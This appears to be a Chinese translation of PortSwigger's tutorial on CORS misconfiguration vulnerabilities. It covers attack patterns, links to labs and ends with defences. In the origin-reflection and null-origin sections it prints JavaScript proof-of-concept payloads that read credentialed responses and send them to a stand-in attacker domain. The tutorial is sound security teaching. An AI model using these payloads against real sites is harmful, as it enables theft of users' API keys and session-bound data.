跨域资源共享(CORS)
翻译
原文:https://portswigger.net/web-security/cors
- name: 翻译
desc: 原文:https://portswigger.net/web-security/cors
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# 0跨域资源共享(CORS)
在本节中,我们将解释什么是跨域资源共享(CORS),描述一些基于跨域资源共享攻击的常见示例,并讨论如何防范这些攻击。本主题是与 PortSwigger Research 合作编写的,PortSwigger Research 通过文章 “利用CORS错误配置获取比特币和赏金 (opens new window)” 推广了这一攻击类别。
# 1什么是CORS(跨域资源共享)?
跨域资源共享(CORS)是一种浏览器机制,支持对 位于给定域之外的资源 进行受控访问。它扩展并增加了同源策略(SOP) (opens new window)的灵活性。但是,如果网站的 CORS 策略配置和实施不当,它也提供了跨域攻击的可能性。此外,CORS 并不是针对跨源攻击的保护措施,如跨站请求伪造(CSRF)。
实验室
如果您已经熟悉 CORS 漏洞背后的基本概念,并且只想在一些实际的、易受攻击的目标上练习和利用它们,那么您可以从下面的链接访问本主题中的所有实验室。
# 2同源策略
同源策略是一种限制性的跨源规范,用于限制 网站与源域之外的资源 进行交互的能力。同源策略是多年前定义的,以应对潜在的恶意跨域交互,例如一个网站 从 另一个网站窃取私人数据。它通常允许当前域 向 其他域发出请求,但不允许访问其响应。
# 3放宽同源策略
同源策略的限制性非常严格,因此,人们设计了各种方法来规避这些限制。许多网站与 子域或第三方网站 的交互方式需要完全地跨域访问。使用跨域资源共享(CORS)可以控制性地放宽同源策略。
跨源资源共享协议使用一组 HTTP 标头集合,这些标头定义了受信任的 Web 源和相关属性,例如 是否允许经过身份验证的访问。在浏览器 和 它试图访问的跨源网站之间,这组标头被用于标头交换中。
# 4因CORS配置问题引起的漏洞
许多现代网站都使用 CORS 来允许 源自子域和受信任第三方 的访问。他们对 CORS 的实现可能存在错误或过于宽松,以确保其网站正常运行,但这可能产生可利用的漏洞。
# 4.1由客户端指定的Origin标头可用于生成的服务端ACAO (opens new window)标头
一些应用程序需要提供对 许多其他域 的访问权限。这需要维护域列表的白名单,并需要持续的努力,其中的任何错误都有破坏功能的风险。因此,某些应用程序采取了最省事的简单途径——允许源自任何其他域的访问。
省事的其中一种方法是从请求中读取Origin
标头,然后包含一个响应标头,用于声明请求源是允许的。例如,假设应用程序收到了以下请求:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
2
3
4
然后,它响应:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
2
3
4
这些标头声明了允许从请求域(malicious-website.com
)进行访问,并且跨域请求可以包含 Cookie(Access-Control-Allow-Credentials: true
),因此,其中将包含会话处理。
由于应用程序在Access-Control-Allow-Origin
标头中反映任意来源,这意味着,任何来自其他域的请求,都可以访问易受攻击域的资源。如果响应中包含任何敏感信息(如 API 密钥或 CSRF 令牌),则你可以在漏洞利用服务器上 放置以下脚本来检索这些信息:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://<受害域>.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//<恶意域>.com/log?key='+this.responseText;
};
2
3
4
5
6
7
8
9
- name: 实验室-学徒
desc: CORS漏洞-基本源反射 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack
bgColor: '#001350'
textColor: '#39d50c'
2
3
4
5
6
# 4.2解析Origin标头时出错
一些应用程序支持多个访问来源,此特性使用允许源的白名单来实现。当接收到 CORS 请求时,程序会将所提供的源 与白名单进行比较。如果源出现在白名单上,则它会反映在Access-Control-Allow-Origin
标头中,以便授予访问权限。例如,应用程序收到一个普通请求:
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
2
3
4
应用程序 根据其允许的源列表 检查所提供的源,如果其在列表中,则按如下方式反映源:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
2
3
实施 CORS 源白名单时经常会出现错误。一些组织决定,允许从其所有子域(包括尚不存在的未来子域)进行访问。一些应用程序还允许 从各种其他组织的域(包括其子域)进行访问。这些规则一般通过使用正则表达式,来匹配 URL 前缀或后缀而实现。实现中的任何错误都可能导致 向非预期的外部域 授予访问权限。
例如,假设某个应用程序将访问权限授予所有域,但这些域的结尾必须为:
normal-website.com
攻击者可以通过注册以下域来获得访问权限:
hackersnormal-website.com
或者,域的开头必须为:
normal-website.com
攻击者可以通过以下域来获得访问权限:
normal-website.com.evil-user.net
# 4.3null源被列入白名单
Origin 标头的规范支持null
值。在某些异常情况下,浏览器可能会在 Origin 标头中发送null
值:
- 跨域重定向。
- 来自序列化数据的请求。
- 使用
file:
协议的请求 - 沙箱跨域请求。
一些应用程序可能会将null
源列入白名单,以支持应用程序的本地开发。例如,假设应用程序收到了以下跨域请求:
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
2
3
服务器响应:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
2
3
在这种情况下,攻击者可以使用各种技巧,从而生成在Origin
标头中包含null
值的跨域请求。这将满足白名单,并导致跨域访问。例如,这可以使用以下形式的沙箱iframe
跨域请求来完成:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
2
3
4
5
6
7
8
9
10
11
- name: 实验室-学徒
desc: CORS漏洞-受信任的null源 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack
bgColor: '#001350'
textColor: '#39d50c'
2
3
4
5
6
# 4.4通过CORS信任关系利用XSS (opens new window)
即使是 “正确” 配置的 CORS,也会在两个源之间建立信任关系。如果某个源 易受跨站脚本(XSS)的攻击,并且网站信任了该源,则攻击者可以利用 XSS 注入一些 JavaScript,这些 JavaScript 使用 CORS 从 “信任了易受攻击应用程序” 的网站检索敏感信息。
发出以下请求:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
2
3
4
如果服务器响应:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
2
3
然后,攻击者在subdomain.vulnerable-website.com
上发现了 XSS 漏洞,可以利用该漏洞来检索 API 密钥,使用如下 URL:
https:/?xss=<script>cors-stuff-here</script>
# 4.5使用配置不当的CORS破坏TLS
假设,某个应用程序严格使用 HTTPS,但其还将 “使用纯HTTP的受信任子域” 列入了白名单。例如,当应用程序收到以下请求时:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
2
3
4
应用程序响应:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
2
3
在这种情况下,如果攻击者能够拦截受害用户的流量,则可以利用 CORS 配置来破坏受害者与应用程序的交互。此攻击涉及以下步骤:
- 受害用户发出了任何的普通 HTTP 请求。
- 攻击者注入重定向到:
http://trusted-subdomain.vulnerable-website.com
- 受害者的浏览器会跟随重定向。
- 攻击者拦截普通 HTTP 请求,并返回一个包含 CORS 请求的欺骗性响应:
https://vulnerable-website.com
- 受害者的浏览器发出 CORS 请求,包含来源:
http://trusted-subdomain.vulnerable-website.com
- 应用程序允许该请求,因为这是一个被列入白名单的源。请求的敏感数据 将在响应中返回。
- 攻击者的欺骗页面可以读取敏感数据,并将其传输到攻击者控制下的任何域。
即使易受攻击的网站在使用 HTTPS 方面很强大,没有 HTTP 端点并且所有 Cookie 都标记为 secure 的情况下,这种攻击也是有效的。
- name: 实验室-从业者
desc: CORS漏洞-受信任的不安全协议 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cors/lab-breaking-https-attack
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 4.6内网中的CORS无需凭据
大多数 CORS 攻击都依赖于以下响应标头的存在:
Access-Control-Allow-Credentials: true
如果没有该标头,受害用户的浏览器将拒绝发送他们的 Cookie,这意味着 攻击者只能访问未经身份验证的内容,这些内容可以通过 直接浏览目标网站 轻松获得,根本不需要利用漏洞。
但是,有一种常见的情况,攻击者无法直接访问网站——当它是组织内部网的一部分,并且位于私有 IP 地址空间内时。内部网站的安全标准 通常低于外部网站,这使得攻击者能够发现漏洞,并获得进一步的访问权限。例如,私有网络中的跨域请求可能如下所示:
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
2
3
服务器响应:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
2
应用程序服务器信任了 来自任何源的资源请求,同时无需凭据。如果私有 IP 地址空间内的用户访问公共互联网,则可以将 受害者的浏览器 作为访问内网资源的代理,然后从外部站点执行基于 CORS 的攻击。
- name: 实验室-专家
desc: CORS漏洞-内网枢纽攻击 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 5如何防范基于CORS的攻击
CORS 漏洞主要是由于 配置错误 引起的。因此,预防的是一个配置问题。以下各节介绍了一些针对 CORS 攻击的有效防御措施。
# 5.1正确配置跨域请求
如果 Web 资源包含敏感信息,则应在Access-Control-Allow-Origin
标头中正确指定源。
# 5.2仅允许受信任的站点
这似乎很明显,但在Access-Control-Allow-Origin
标头中指定的源,应该仅是受信任的站点。特别注意 “未经验证就 动态反映来自跨域请求中的源” 很容易被利用,应避免这一点。
# 5.3避免白名单中的null值
避免使用标头Access-Control-Allow-Origin: null
。
来自内部文档 和 沙箱请求中的跨域资源调用,可以指定null
源。
应根据 私有和公共服务器 的不同可信来源,正确定义 CORS 标头。
# 5.4避免在内部网络中使用通配符
避免在内部网络中使用通配符。当内部浏览器 可以访问不受信任的外部域时,仅仅相信 网络配置可以保护内部资源 是不够的。
# 5.5CORS不能替代服务器端安全策略
CORS 定义了浏览器行为,其永远不能替代 服务器端对敏感数据的保护——攻击者可以直接 伪造任何来自受信任源 的请求。因此,除了正确配置 CORS 之外,Web 服务器还应该继续对敏感数据应用保护,例如身份验证和会话管理。